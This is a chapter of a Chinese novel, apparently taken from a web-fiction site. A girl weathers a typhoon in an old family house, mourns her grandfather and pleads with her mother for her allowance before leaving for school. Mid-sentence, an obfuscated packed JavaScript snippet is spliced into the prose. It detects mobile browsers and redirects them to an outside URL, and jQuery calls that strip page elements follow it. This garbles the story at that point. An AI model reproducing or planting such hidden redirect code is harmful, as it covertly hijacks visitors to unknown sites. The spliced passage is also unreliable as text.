台风登陆的那一刻，我的心前所未有的潮湿。
——《甄好日记》
甄好提着喂鸭子的空桶往前院走去时，迎面碰上了甄奶奶。
“奶奶起这么早啊。”甄奶奶从小就疼她们，姐妹俩也跟她感情好，“怎么不多睡会儿？”
“年纪上来了，睡不了那么多咯。”甄奶奶看了一眼她手里的空桶，又望了一眼大房的方向，意有所指道，“哪像有些人啊，一点也没有做人妈妈的样子，都什么时候了还在睡，孩子不用吃饭能自己长大是不是？”
她故意提高的音量是说给谁听的，不言而喻。
何允莲一向与甄奶奶不睦，甚至连邻里邻外都看得出来，更别说自家人。
甄奶奶说完，又教甄好：“你还在长身体，早上就该多睡会儿，喂鸭子这种事交给你妈就好了。做人家儿媳妇没有个儿媳妇样，真是不像话！”
饶是对着孙女，甄奶奶也丝毫不掩饰对何允莲的不满。
甄好早就习惯了，婆媳关系好像自古就是个难题，不仅电视剧不厌其烦地上演着，生活中只会更离谱。
何允莲显然听见了甄奶奶的念叨，嗓门比平时又高了几分：“老人家该吃吃，该睡睡，别瞎操那么多心。”
她话音刚落，一阵狂风袭来。
风卷着前庭那几棵高大的龙眼树，似是要将其连根拔起。
甄家的房子还是传统的闽市古厝，红墙红瓦，雨还未至风先将瓦片吹动了位置，窸窣作响。
台风快要登陆了。
“阿砰，快去拿水桶准备接雨水。”甄奶奶也听到了瓦片的异动，忙指挥甄好。
听见奶奶又叫自己的小名，甄好不满道：“奶奶，不要叫我的小名。”
“好好好，不叫不叫。”甄奶奶笑呵呵地轻拍了一下她的后背，“好好乖，多拿几个盆啊桶的，叫上阿美一起帮忙。”
“可怜我那刚长出来的小菜苗要遭殃了。”甄奶奶不无可惜地说道，“还有那刚结了小果的南瓜……”
她一边摇头一边走去菜园子，想看看能不能做点什么以降低风害。
甄好看着奶奶步履轻盈的身影，却无端感到一股无形的压力正沉沉地压在老太太肩上。
她快步跑进屋，去几个屋里转了转后，果真在偏房看到顶上有块瓦片移了位，一丝光亮直直地穿过那处缝隙。若是下了雨，将变成连线的珠子，滴滴答答落个不停。
甄好将手里的洗脸盆放到缺口正下方，以作接雨水用。
“阿姐，大厅的屋顶也有一处。”甄美的声音不远不近地传来。
“来了。”确定放置的位置没有偏移后，甄好跑向大厅。
姐妹俩将全屋都检查完毕后，这才回到厨房准备吃早饭。
甄好的眉头却始终没有松开，她根本没有胃口。
她最期待也最害怕的天气还是要来了。
期待是因为台风有台风假，但前提得是在学校；至于害怕……根本不用多说，头顶随时可能被吹飞的瓦片足以说明她所有的恐慌源自何处。
连一个遮风挡雨的安稳住所都没有，要她如何安心？
潮湿的屋檐下，见证了两个女孩子潮湿的童年。
下午14时，第18号台风“赤荔”在台市幽兰县沿海登陆，随后穿过台岛，于闽市沿海第二次登陆，登陆时强度达台风级。多个省份受台风“赤荔”影响，未来24小时降雨量将持续上涨，防洪等级一升再升。
姐妹俩刚看新闻了解完最新台风动向，老式彩电的屏幕就彻底暗了下去。
停电了。
甄好已经见怪不怪了。
停电是台风天的必修课，不停反倒会让她觉得不习惯。
她听着偏房和大厅里滴滴答答的雨水，第一次觉得像是旋律优美的曲子，有些催眠。
榉头那间屋子现在是姐妹俩住的房间，但严格说起来这不是属于她们的。
甄奶奶一共有三个儿子，两个女儿，除了小儿子，其他孩子均已成家。
榉头是甄奶奶小儿子的房间，也就是甄好姐妹俩的三叔。他一年到头都在外面跑业务，只有春节才会回家住几天。
停电外加风大雨大，甄好和甄美坐在房间门口，看着雨从天井落下，一滴一滴，在地上跳跃又回落。
幸好这次台风并未对处于沿海内陆的闽镇造成什么实质性伤害，甄好担忧的事情也没有发生。
她总在台风的夜里做噩梦，梦见家里的屋顶整个被大风掀翻，瓢泼似的大雨倾倒而下，将她整个人埋在浑浊的水下，强烈的窒息感包裹住她的眼耳口鼻，她却怎么挣扎都无济于事。
无法浮出水面，也无法醒来。
人类恐怖某件事情总归是有原因的，甄好怕雨，也怕水。
怕雨和怕水都跟人命有关，都是她不愿回想的悲惨往事。
任何事都有雨过天晴的时候，逝去的人却再也不可能回来。
周日这天，风停雨歇，彩虹高高地挂在天边。甄好却没有心情欣赏，而是像以往的每个周末，将供奉爷爷牌位的桌子仔仔细细地抹一遍。
做完这一切后，她会站在甄爷爷的遗像前看上许久，任凭回忆发散，任由泪水滑落。
“爷爷，我要去上学了，我会努力的。”离开前，甄好在心里默默说道。
学校周日有安排晚自习，从晚上七点上到十点钟。
她必须在四点半左右从家里出发，才能有足够的时间赶上。
眼看时间已经来到四点，何允莲却丝毫没有要给甄好生活费的举动，她不禁有些着急。
她不喜欢这种被动等待的感觉，无助又无力。
再有二十分钟，她就该前往榕树下和鄢云书她们集合了。
她只能硬着头皮找到何允莲：“妈，这周的生活费……”
何允莲不耐烦地瞪了她一眼，一开口就是抱怨：“生活费，生活费，张口闭口就是钱！你怎么不问你那没用的爸爸要？！这个月一分钱都没有寄回家，我一个人要养你们三张嘴，真是不知道上辈子造了什么孽，要嫁给你那个死鬼老爸！”
甄好双手紧紧握成拳，红着眼圈听她一句接一句的数落，却半个字都说不出口。
父亲甄东成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552285|171279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常年在外省讨生活，说得好听点是做点小生意，其实连养家糊口都困难。
家里条件不好，甄好心里一直很清楚，可她就是憋着一口气，想要靠读书改变窘迫的生活，所以一次次咬紧牙关去应对任何可能出现的困难。
“妈，我上学快来不及了……”面对何允莲的怨言，甄好选择过滤掉，只争取自己想要的，“能不能先给我二十块钱，求你了……”
二十块钱，是甄好一周的生活费，包括一日三餐和饮水，也包括应付一切可能出现的意外状况。
比如自行车破胎维修。
她要用二十元承受生活中的所有常规或不常规的事件。
十三岁的甄好，因为生活的窘迫，因为与他人条件的差距，早早就萌生对成功和金钱的渴望。
“拿去，拿去！”何允莲将二十元纸币粗暴地塞进甄好手中，脸上的表情只有嫌弃，再无其他。
甄好努力忽视她的表情，用力攥紧那有些旧了的纸币，咬着嘴唇说道：“谢谢妈，我先去上学了。”
她抬脚走后，何允莲又在她身后说了些什么她已经不想再去听。
有些话，只要不听，心里多少会好受些。
因为要生活费，甄好耽搁了几分钟，四点三十五分才到达榕树下。
这是她第一次迟到，周淳芮看她脸色有些不好，有些担忧地问道：“好好，你没事吧？”
甄好摇了摇头：“我没事。云云呢？”
说到鄢云书，周淳芮也觉得奇怪：“咱们仨就数你俩最有时间观念了，结果今天你们一个两个都迟到。”
“可能有什么事耽误了吧，我们再等等。”甄好看了一眼MP3上的时间，“还早，不着急。”
“嗯，也只能这样了。”周淳芮坐在单车座椅上，百无聊赖地伸手扯了一片头顶的榕树叶。
经过一场大雨的洗礼，叶子绿得发亮，上面还有晶莹的水珠，滑落到她手里，凉凉的。
“好好，我又新得了几首好听的歌，等到了学校，我们去找店老板帮忙下载！”等待的间隙，周淳芮没话找话说。
“好啊，听你的。”甄好对听歌没有特别的喜好，她只是喜欢将世界用歌声隔绝的那种感觉。
“云云怎么还不来啊？”周淳芮不断地往她们来时的路张望着，“该不会出什么事了吧？”
她们三个只有周淳芮有一部小灵通手机，偏偏她忘记充电了，没办法给鄢云书家的座机打电话。
甄好也有些着急起来。
“这都五点钟了，真是急死人了。”周淳芮明显开始变得不安。
甄好提出猜测：“可能是鄢教授开车送她去学校了吧。”
鄢云书家是十里八乡难得拥有小轿车的家庭，没有给她配备手机，是因为鄢识认为那东西会影响女儿学习。
“的确有可能。”周淳芮赞同地点了点头，并提议，“那我们先走？也许云云已经到学校了也说不定。”
甄好同意：“先这么办吧。”
没能等到鄢云书的两人一前一后骑着单车，在风的拥抱下，蹬向未知的远方。